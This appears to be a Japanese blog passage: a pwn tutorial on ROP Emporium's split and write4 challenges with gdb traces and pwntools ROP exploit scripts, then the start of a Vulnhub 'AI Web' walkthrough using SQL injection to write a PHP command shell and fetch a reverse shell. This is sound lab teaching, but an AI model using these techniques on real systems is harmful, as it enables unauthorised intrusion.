Breakpoint 1, 0x00000000004007c3 in __libc_csu_init ()

無事に pop 命令の箇所で一時停止していることが確認できます。

しかし、 RSP レジスタの値から確認できるスタックの中身に /bin/cat flag.txt は見つかりません。

そこで、何回かステップ実行を行ってみると再度この命令が呼び出されることが分かります。 (c コマンドを用いると何度もステップ実行をする必要が無いため楽です。)

[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
RCX: 0x7ffff7ec34e0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7f9b643 --> 0xf9c710000000000a 
RDI: 0x7ffff7f9c710 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd90 --> 0x601060 ("/bin/cat flag.txt")
RIP: 0x4007c3 (<__libc_csu_init+99>:    pop    rdi)
R8 : 0x4800 ('')
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7dce6d8 --> 0x10001200001a85 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x4007c3 <__libc_csu_init+99>:       pop    rdi
   0x4007c4 <__libc_csu_init+100>:      ret
   0x4007c5:    nop
   0x4007c6:    cs nop WORD PTR [rax+rax*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd90 --> 0x601060 ("/bin/cat flag.txt")
0008| 0x7fffffffdd98 --> 0x40074b (<usefulFunction+9>:  call   0x400560 <system@plt>)
0016| 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
0024| 0x7fffffffdda8 --> 0x400697 (<main>:      push   rbp)
0032| 0x7fffffffddb0 --> 0x100400040 
0040| 0x7fffffffddb8 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0048| 0x7fffffffddc0 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0056| 0x7fffffffddc8 --> 0xa82de7d2f5d523ba 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004007c3 in __libc_csu_init ()

再度 RSP レジスタの値からスタックの中身を確認してみると 0x601060 という /bin/cat flag.txt が入っているアドレスが格納されている事が分かります。

gdb-peda$ x 0x7fffffffdd90
0x7fffffffdd90: 0x00601060      0x00000000      0x0040074b      0x00000000
gdb-peda$ x/s 0x601060
0x601060 <usefulString>:        "/bin/cat flag.txt"

ここまでは今までも説明したとおりの動作です。

それでは一度だけステップ実行をして ret 命令の箇所で一時停止してみましょう。

[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
RCX: 0x7ffff7ec34e0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7f9b643 --> 0xf9c710000000000a 
RDI: 0x601060 ("/bin/cat flag.txt")
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdd98 --> 0x40074b (<usefulFunction+9>:   call   0x400560 <system@plt>)
RIP: 0x4007c4 (<__libc_csu_init+100>:   ret)
R8 : 0x4800 ('')
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7dce6d8 --> 0x10001200001a85 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007be <__libc_csu_init+94>:       pop    r13
   0x4007c0 <__libc_csu_init+96>:       pop    r14
   0x4007c2 <__libc_csu_init+98>:       pop    r15
=> 0x4007c4 <__libc_csu_init+100>:      ret
   0x4007c5:    nop
   0x4007c6:    cs nop WORD PTR [rax+rax*1+0x0]
   0x4007d0 <__libc_csu_fini>:  repz ret
   0x4007d2:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd98 --> 0x40074b (<usefulFunction+9>:  call   0x400560 <system@plt>)
0008| 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
0016| 0x7fffffffdda8 --> 0x400697 (<main>:      push   rbp)
0024| 0x7fffffffddb0 --> 0x100400040 
0032| 0x7fffffffddb8 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0040| 0x7fffffffddc0 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0048| 0x7fffffffddc8 --> 0xa82de7d2f5d523ba 
0056| 0x7fffffffddd0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004007c4 in __libc_csu_init ()

そしてスタックの値も確認してみましょう。

gdb-peda$ x 0x7fffffffdd98
0x7fffffffdd98: 0x000000000040074b
gdb-peda$ x 0x000000000040074b
0x40074b <usefulFunction+9>:    0xc35d90fffffe10e8

0x000000000040074b というアドレスは system 関数を call する命令が格納されているアドレスです。

ret 命令はスタックから値を pop してそのアドレスに jmp するといった動作をするため次は 0x000000000040074b のアドレスに処理が移るはずです。

それではステップ実行をして確認してみましょう。

[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
RCX: 0x7ffff7ec34e0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7f9b643 --> 0xf9c710000000000a 
RDI: 0x601060 ("/bin/cat flag.txt")
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
RIP: 0x40074b (<usefulFunction+9>:      call   0x400560 <system@plt>)
R8 : 0x4800 ('')
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7dce6d8 --> 0x10001200001a85 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400742 <usefulFunction>:   push   rbp
   0x400743 <usefulFunction+1>: mov    rbp,rsp
   0x400746 <usefulFunction+4>: mov    edi,0x40084a
=> 0x40074b <usefulFunction+9>: call   0x400560 <system@plt>
   0x400750 <usefulFunction+14>:        nop
   0x400751 <usefulFunction+15>:        pop    rbp
   0x400752 <usefulFunction+16>:        ret
   0x400753:    cs nop WORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x601060 ("/bin/cat flag.txt")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
0008| 0x7fffffffdda8 --> 0x400697 (<main>:      push   rbp)
0016| 0x7fffffffddb0 --> 0x100400040 
0024| 0x7fffffffddb8 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0032| 0x7fffffffddc0 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0040| 0x7fffffffddc8 --> 0xa82de7d2f5d523ba 
0048| 0x7fffffffddd0 --> 0x0 
0056| 0x7fffffffddd8 --> 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000040074b in usefulFunction ()

無事に処理が移っていることが確認できますね。

もっと詳しい原理を知りたい方は、関数を呼び出す際や戻る際のスタックの動きなどに関して調べてみるのが良いと思います。

ret2plt

いままでは任意コードの実行を行う際に system を call している命令が格納されているアドレスを利用していましたが、このような場合において処理が終わったらどの処理に移るのでしょうか?

ROP の時のように stack に積まれているアドレスに戻るのか、もしくは通常通り call 命令が格納されているアドレスの次の命令に移るのか......?

それを調べる為に呼び出す関数を system ではなく main 関数内の puts 命令を呼び出して確認してみましょう。

from pwn import *

proc="./split"
io=process(proc)

print(io.recv().decode())

offset=40
system=p64(0x000000000040074b)
usefulString=p64(0x0000000000601060)
pop_rdi=p64(0x00000000004007c3)
call_puts=p64(0x00000000004006c8)


payload=b'A'*offset
payload+=pop_rdi
payload+=usefulString
#payload+=system
payload+=call_puts
print(hexdump(payload))

f=open("payload","wb")
f.write(payload)
f.close()

io.sendline(payload)

print(io.recvuntil(b'flag').decode())

実行すると /bin/cat flag.txt という文字列が出力されます。

では、 gdb を用いて puts を call している命令が呼ばれた後はどうなるのかを確認してみましょう。

[----------------------------------registers-----------------------------------]
RAX: 0x12 
RBX: 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
RCX: 0x7ffff7ec34e0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7f9b643 --> 0xf9c710000000000a 
RDI: 0x7ffff7f9c710 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
RIP: 0x4006cd (<main+54>:       mov    eax,0x0)
R8 : 0xffff 
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7dce6d8 --> 0x10001200001a85 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4006be <main+39>:  call   0x400550 <puts@plt>
   0x4006c3 <main+44>:  mov    edi,0x4007fe
   0x4006c8 <main+49>:  call   0x400550 <puts@plt>
=> 0x4006cd <main+54>:  mov    eax,0x0
   0x4006d2 <main+59>:  call   0x4006e8 <pwnme>
   0x4006d7 <main+64>:  mov    edi,0x400806
   0x4006dc <main+69>:  call   0x400550 <puts@plt>
   0x4006e1 <main+74>:  mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdda0 --> 0x7fffffffde90 --> 0x7fffffffde98 --> 0x38 ('8')
0008| 0x7fffffffdda8 --> 0x400697 (<main>:      push   rbp)
0016| 0x7fffffffddb0 --> 0x100400040 
0024| 0x7fffffffddb8 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0032| 0x7fffffffddc0 --> 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
0040| 0x7fffffffddc8 --> 0xfde0bb97d69f868f 
0048| 0x7fffffffddd0 --> 0x0 
0056| 0x7fffffffddd8 --> 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006cd in main ()

最終的に main 関数の中にある puts を call する命令の次の処理に移行しました。

ここで一つ問題点があります。

それは、元の関数の次の処理に移ってしまうということはそれ以上攻撃を繋げることが出来ないと言うことです。 (例えば、関数Aの次に関数Bを呼び出したりといったことがこのままでは出来ません。)

そこで ret2plt というテクニックを使うことでこの問題を解決します。

ret2plt というのは、関数を呼び出す際に call 命令のあるアドレスではなく 関数の plt のアドレスを渡すというものです。

これにより、処理が終わったら ROP Gadget の時と同じように攻撃者がスタック上に積んだアドレスに移行させることが出来ます。

plt のアドレスは gdbplt コマンドを用いて確認するか、アセンブリを確認して call が何のアドレスを呼び出しているのかを見ることで確認できます。 (call 0x400550 <puts@plt> と書いてあれば puts 関数の plt は 0x400550 となります。)

gdb-peda$ plt
Breakpoint 2 at 0x400580 (memset@plt)
Breakpoint 3 at 0x400570 (printf@plt)
Breakpoint 4 at 0x400550 (puts@plt)
Breakpoint 5 at 0x400590 (read@plt)
Breakpoint 6 at 0x4005a0 (setvbuf@plt)
Breakpoint 7 at 0x400560 (system@plt)

それでは 先ほどのコードを改変して puts 関数の plt を呼び出し、その後に main 関数の最初の処理に移るといったコードにしてみましょう。

from pwn import *

proc="./split"
io=process(proc)

print(io.recv().decode())

offset=40
system=p64(0x000000000040074b)
usefulString=p64(0x0000000000601060)
pop_rdi=p64(0x00000000004007c3)
call_puts=p64(0x00000000004006c8)
puts_plt=p64(0x400550)
main=p64(0x0000000000400697)


payload=b'A'*offset
payload+=pop_rdi
payload+=usefulString
#payload+=system
#payload+=call_puts
payload+=puts_plt
payload+=main
print(hexdump(payload))

f=open("payload","wb")
f.write(payload)
f.close()

io.sendline(payload)

print(io.recvuntil(b'flag').decode())

そして作成したペイロードを実行ファイルに渡してみましょう。

./split <payload

すると、 puts 命令を行った後に main 関数の処理が行われていることが出力から分かります。

./split <payload
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
/bin/cat flag.txt
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!

Exiting
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!

Exiting
zsh: segmentation fault  ./split < payload

それでは最後に 、puts 命令を行った後で ROPGadget の pop 命令と system の plt を用いて FLAG を出力してみましょう。

$ cat test.py
from pwn import *

proc="./split"
io=process(proc)

print(io.recv().decode())

offset=40
#system=p64(0x000000000040074b)
call_system=p64(0x000000000040074b)
system_plt=p64(0x400560)
usefulString=p64(0x0000000000601060)
pop_rdi=p64(0x00000000004007c3)
call_puts=p64(0x00000000004006c8)
puts_plt=p64(0x400550)
main=p64(0x0000000000400697)


payload=b'A'*offset
payload+=pop_rdi
payload+=usefulString
#payload+=system
#payload+=call_puts
payload+=puts_plt
#payload+=main
payload+=pop_rdi
payload+=usefulString
payload+=system_plt
print(hexdump(payload))

f=open("payload","wb")
f.write(payload)
f.close()

io.sendline(payload)

print(io.recvall().decode())

すると /bin/cat flag.txt に加えて FLAG も出力されます。

おまけ

先ほどのコード(puts 関数を呼んだ後に system 関数を呼び出すもの)を 32ビットの問題用に実装すると次のようになります。

from pwn import *

proc="./split32"
io=process(proc)

print(io.recv().decode())

offset=44
#system=p64(0x000000000040074b)
call_system=p32(0x0804861a)
system_plt=p32(0x80483e0)
usefulString=p32(0x0804a030)
pop_ebx=p32(0x08048395)
call_puts=p32(0x08048573)
puts_plt=p32(0x80483d0)
main=p32(0x08048546)


payload=b'A'*offset
payload+=puts_plt#関数の呼び出し
payload+=pop_ebx#usefulString の除去
payload+=usefulString#puts 関数の引数
#payload+=system
#payload+=call_puts
payload+=system_plt#system の plt
#payload+=main
payload+=b'JUNK'#system のリターンアドレス
payload+=usefulString#system の引数
print(hexdump(payload))

f=open("payload","wb")
f.write(payload)
f.close()

io.sendline(payload)

print(io.recvall().decode())

引数を渡す説明でも触れましたが、32ビットのプログラムはスタック上で引数のやりとりを行います。

さらに、この ROP の章で説明したように ROP Gadget や 関数の plt を呼び出した際はその直後のアドレスに処理が移行します。

それを踏まえた上で今回のコードを確認しましょう。

このコードでは初めに puts 関数が呼び出されます。

その直後の値はリターンアドレスであるため puts 関数の plt のアドレスが格納されているアドレスの8バイト先が引数となります。

つまり、puts_plt(関数の plt)+pop_ebx(puts のリターンアドレス)+usefulString(puts の引数) といった形になっています。

ここで、なぜ pop_ebx という訳の分からない ROP Gadget が使われているのか疑問に思う方もいると思います。

そこで、仮にこれが pop 命令ではなく ret 命令(特に何もせず次の処理に飛ばす)を考えてみましょう。

puts 関数は問題なく引数の usefulString を受け取り次の命令である ret 命令に飛びます。

そして、その ret 命令が終わったあとのアドレスというのは usefulString という命令ではなくただの文字データが格納されたアドレスなのです。

これでは system の plt に飛んだり、他の ROP Gadget を動かすことが出来ずにここで処理が止まってしまいます。

そのため、今回のコードでは pop 命令を使用して不必要な引数を適当なレジスタに pop してスタック上から除去しているのです。

つまり何が言いたいのか?(ROPの章のまとめ)

stack 上に次に行う処理のアドレスを載せることで連続して処理を行うことが出来るようになります。

また、関数を呼び出す際も ret2plt といったテクニックを使うことで関数を呼び出した後も攻撃者の設定したアドレスの処理に移行させることが出来ます。

これでかなり出来る事が増えてきました。

あとは system 関数に /bin/sh などの文字列を渡すことが出来れば最高ですよね......

書き込み

ROP Gadget を上手く用いることで書き込み可能な領域に任意の内容を書き込むことが出来ます。

これが出来れば /bin/sh などを書き込み、それを system 関数に渡すといった攻撃も可能になりそうですね。

メモリに書き込みを行う場合、ROP Gadget の mov 命令が非常に役に立ちます。

今回は説明の例として ropemporium の write4 の32ビットの問題を使用します。

リンクは下に貼っておくのでぜひ手を動かしてみてください。

https://ropemporium.com/challenge/write4.html

まず、mov 命令で書き込みを行うためには以下の三つの情報が必要です。

  • 書き込む先のアドレス
  • 書き込む内容
  • ROP Gadget の mov 命令の箇所

まず初めに書き込む先のアドレスを探しましょう。

その際には readelf コマンドが役に立ちます。

$ readelf -S ./write432                                                                                                                                                                                                                1 ⨯
There are 30 section headers, starting at offset 0x17a4:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.bu[...] NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00003c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481e8 0001e8 0000b0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048298 000298 00008b 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          08048324 000324 000016 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804833c 00033c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804835c 00035c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048364 000364 000018 08  AI  5  23  4
  [11] .init             PROGBITS        0804837c 00037c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483a0 0003a0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483e0 0003e0 000008 08  AX  0   0  8
  [14] .text             PROGBITS        080483f0 0003f0 0001c2 00  AX  0   0 16
  [15] .fini             PROGBITS        080485b4 0005b4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080485c8 0005c8 000014 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        080485dc 0005dc 000044 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048620 000620 000114 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049efc 000efc 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 001020 000029 01  MS  0   0  1
  [27] .symtab           SYMTAB          00000000 00104c 000440 10     28  47  4
  [28] .strtab           STRTAB          00000000 00148c 000211 00      0   0  1
  [29] .shstrtab         STRTAB          00000000 00169d 000105 00      0   0  1

flg の欄が WA であるセクションが書き込み可能のセクションとなっています。

大体 .bss セクションや .data セクションが書き込み可能であることが多いです。

今回は .bss セクションを使うのでそのアドレスである 0x0804a020 を控えておきましょう。

次は ROP Gadget を用いて mov 命令を探します。

$ ROPgadget --binary ./write432|grep ": mov"
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048501 : mov ebp, esp ; pop ebp ; jmp 0x8048490
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret

mov dword ptr [edi], ebp ; ret が上手く使えそうですね。

これは EDP の中身を EDI が保持しているアドレスの中身に入れるといった命令になります。

つまり、EDI に .bss のアドレスをいれて EDP に書き込みたい内容を入れれば任意の値を書き込むことが出来るようになります。

あとはいままで通り必要な情報を集めましょう。

  • オフセット 44
  • print_file 関数の plt アドレス 0x80483d0
  • .bss セクションのアドレス 0x0804a020
  • mov 命令(mov dword ptr [edi], ebp ; ret)の ROP Gadget があるアドレス 0x08048543
  • 書き込む内容(system 関数がなかったので print_file 関数に渡す値)flag.txt
  • mov 命令の準備をするための pop 命令(pop edi ; pop ebp ; ret)のアドレス 0x080485aa

それでは FLAG を取るためのコードを作成しましょう。

from pwn import *

proc="write432"
io=process(proc)

print(io.recv().decode())

offset=44
print_file_plt=p32(0x80483d0)
bss=p32(0x0804a020)
mov=p32(0x08048543)
string=b"flag.txt"
pop=p32(0x080485aa)

payload=b"A"*offset
payload+=pop#レジスタに値を入れる
payload+=bss
payload+=string
payload+=mov#レジスタの値を書き込み
payload+=print_file_plt
payload+=b'JUNK'
payload+=bss
log.info(hexdump(payload))

io.sendline(payload)

f=open("payload","wb")
f.write(payload)
f.close()

print(io.recv().decode())

しかし上手くいきませんでした。

何が起きたのかを gdb を用いて調べてみましょう。

ブレークポイントは pop のアドレスにしてみます。

クラッシュする直前の処理で止めてみました。

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x41414141 ('AAAA')
ECX: 0xf7e258a0 --> 0x0 
EDX: 0x0 
ESI: 0x8048550 (<__libc_csu_init>:      push   ebp)
EDI: 0x804a020 --> 0x0 
EBP: 0x67616c66 ('flag')
ESP: 0xffffcf68 (".txtC\205\004\bЃ\004\bJUNK \240\004\be<\302\367\001")
EIP: 0x80485ac (<__libc_csu_init+92>:   ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80485a9 <__libc_csu_init+89>:      pop    esi
   0x80485aa <__libc_csu_init+90>:      pop    edi
   0x80485ab <__libc_csu_init+91>:      pop    ebp
=> 0x80485ac <__libc_csu_init+92>:      ret
   0x80485ad:   lea    esi,[esi+0x0]
   0x80485b0 <__libc_csu_fini>: repz ret
   0x80485b2:   add    BYTE PTR [eax],al
   0x80485b4 <_fini>:   push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffcf68 (".txtC\205\004\bЃ\004\bJUNK \240\004\be<\302\367\001")
0004| 0xffffcf6c --> 0x8048543 (<usefulGadgets>:        mov    DWORD PTR [edi],ebp)
0008| 0xffffcf70 --> 0x80483d0 (<print_file@plt>:       jmp    DWORD PTR ds:0x804a014)
0012| 0xffffcf74 ("JUNK \240\004\be<\302\367\001")
0016| 0xffffcf78 --> 0x804a020 --> 0x0 
0020| 0xffffcf7c --> 0xf7c23c65 (add    esp,0x10)
0024| 0xffffcf80 --> 0x1 
0028| 0xffffcf84 --> 0xffffd034 --> 0xffffd1f5 ("/home/kali/Downloads/ROPEmporium/4write4/32/write432")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080485ac in __libc_csu_init ()
gdb-peda$ x $esp
0xffffcf68:     ".txtC\205\004\bЃ\004\bJUNK \240\004\be<\302\367\001"
gdb-peda$ x/wx $esp
0xffffcf68:     0x7478742e

どうやら mov 命令ではなく .txt を16進数にした 0x7478742e というアドレスにアクセスしようとしてしまっているようです。

ここで、今回使用している mov 命令を再度確認してみましょう。

mov dword ptr [edi], ebp ; ret

この dword は4バイトを意味するため、ebp の中身の先頭4バイトを edi が保持しているアドレスに書き込むといった命令になっています。

つまり flag.txtflag だけしか書き込むことが出来ず、.txt はスタック上に残ったままになります。

このような場合には何度も mov 命令を繰り返すことですべてのデータを書き込みます。

このことを踏まえてコードを書き換えましょう。

from pwn import *

proc="write432"
io=process(proc)

print(io.recv().decode())

offset=44
print_file_plt=p32(0x80483d0)
#bss=p32(0x0804a020)
bss=0x0804a020
mov=p32(0x08048543)
#string=b"flag.txt"
string1=b"flag"
string2=b".txt"
pop=p32(0x080485aa)

payload=b"A"*offset
payload+=pop
payload+=p32(bss)#EDI に入る値
payload+=string1#EBP に入る値:flag
payload+=mov#bss のアドレスに flag という文字列を入れる
payload+=pop
payload+=p32(bss+0x4)#EDI に入る値。4バイト(flagという文字列の分)だけずらしている
payload+=string2#EBP に入る値:.txt
payload+=mov#bss+0x4 のアドレスに .txt という文字列を入れる
payload+=print_file_plt
payload+=b'JUNK'
payload+=p32(bss)
log.info(hexdump(payload))

io.sendline(payload)

f=open("payload","wb")
f.write(payload)
f.close()

print(io.recv().decode())

このコードを実行すると無事に flag.txt の中身が表示されることが確認できました。

つまり何が言いたいのか?(書き込みの章のまとめ)

メモリに任意の値を書き込む際には mov 命令が有効であることが分かりました。

また、書き込む際は何バイトのデータを mov しているのかに注意し、場合によっては文字列を分割して書き込む必要があることも分かったと思います。

これまでの章で触れた内容から、関数を呼び出せるようになり自由な引数を渡すことが出来るようになりました。

あとがき

初心者なりに PWN の基礎的な内容と考えられる箇所を説明してみましたがいかがだったでしょうか?

私は gdb を使うのが苦手であったため gdb の使い方を特に丁寧に書いてみました。

これを読んでくださった方がPWN の問題を解く際に、gdb などで気軽に調べることが出来るようになっていただけたら嬉しく思います。

それでは、最後までお付き合いいただきありがとうございました。

AI Web を攻略した記事

どうもみなさんこんにちは。

 

就活や車の免許と言ったゴタゴタがあったせいで前回の投稿からかなりの期間が空いてしまいましたが、ある程度落ち着いてきたのでまたぼちぼちと記事を書いていこうかと思います。

 

今回は Vulnhub の AI Web というマシンを攻略しましたのでその事について書いていきます。

 

まだ攻略していないという方は以下のリンクからダウンロードが可能ですので是非挑戦してみてください。

 

www.vulnhub.com

 

※注意

この記事には実際の攻撃手法が含まれますが、許可されていない環境に対して実行することは犯罪となるので絶対に行わないでください!!!

 

目次

 

シェルを取る編

まずはポートスキャンを行います。

ポートスキャナのスクリーンショット

 

どうやら今回は Web サーバのみが動いているマシンのようです。

 

そこで、ブラウザを用いてアクセスしてみたのですが "Not even Google search my contents!" といった文言のみが表示されておりそれ以外の情報は特に見つかりませんでした。

 

おそらくこれはヒントになっており、Google ですら見つけられないというのは robots.txt といったブラウザのクローラーに対してアクセスしてはいけないサイトを伝えているものに情報があると言ったことを伝えているのだと考えられます。

 

しかし攻略しているときは特に気づかず、何も考えずにWebコンテンツスキャナを実行してしまいました......orz

Webコンテンツスキャナの結果

 

ヒントの通りに robots.txt が存在しているためその中身を確認してみました。

robots.txt

 

すると上記の2つのディレクトリを発見することが出来ました。

 

それぞれにアクセスしてみた結果、 /se3reTdir777/ にアクセスした際に以下のページが表示され、それ以外は権限の関係でアクセスすることが出来ませんでした。

/se3reTdir777/ 

 

入力関係で考えられる脆弱性XSSSQL injection などかなと思ったため色々な入力を試してみたところ、 SQL injection が存在することが分かりました。

怪しい入力

SQL injection の発見

 

しかし、ここはログイン画面などではないためログイン画面のバイパスなどの攻撃は有効ではなく、何か情報を探すにしてもこのウェブサイト上にはあまりにも機能が少なすぎるため優先度は低いでしょう。

 

つまり、 SQL injection を用いたシェルの獲得が良いのではないかと考えました。

 

そこで  SQL の into outfile コマンドを用いてカレントディレクトリに遠隔でコマンドを実行出来るような php ファイルを作成するようなペイロードを実行してみました。

 

しかし、以下のようなエラーが発生したため上手くいきませんでした......

--secure-file-priv に関するエラー?

 

このエラーはどうやら SQL からの入出力が可能なディレクトリが制限されている場合に許可されていないディレクトリに対してそれらの処理を行おうとした際に発生するものみたいです。

 

ここで robots.txt に書いてあった /se3reTdir777/upload というディレクトリの存在を思い出したため /var/www/html/se3reTdir777/upload といったようなディレクトリに対してもファイルの作成を試みましたが失敗しました。

 

結局現在のディレクトリが分からないため上手くいかないと考えられます。

 

その後、色々と調べてみると/m3diNf0/info.php においてphpinfoを確認できる事が分かりました。

info.php の発見

 

それを確認してみると以下のような重要な情報を確認することが出来ました。

DOCUMENT_ROOT のディレクトリ!!

 

この情報から現在のディレクトリが判明したため。この情報を用いて /se3reTdir777/upload にファイルを作成するようなペイロードを実行すると......?

pwdコマンドの実行

 

無事コマンドを動かすことが出来ました。

 

さらに、kali Linux に入っているリバースシェルのペイロードwget コマンドを用いて対象のマシンにコピーし、それを実行することでリバースシェルの獲得も出来ました。

ローカルシェル

 

 

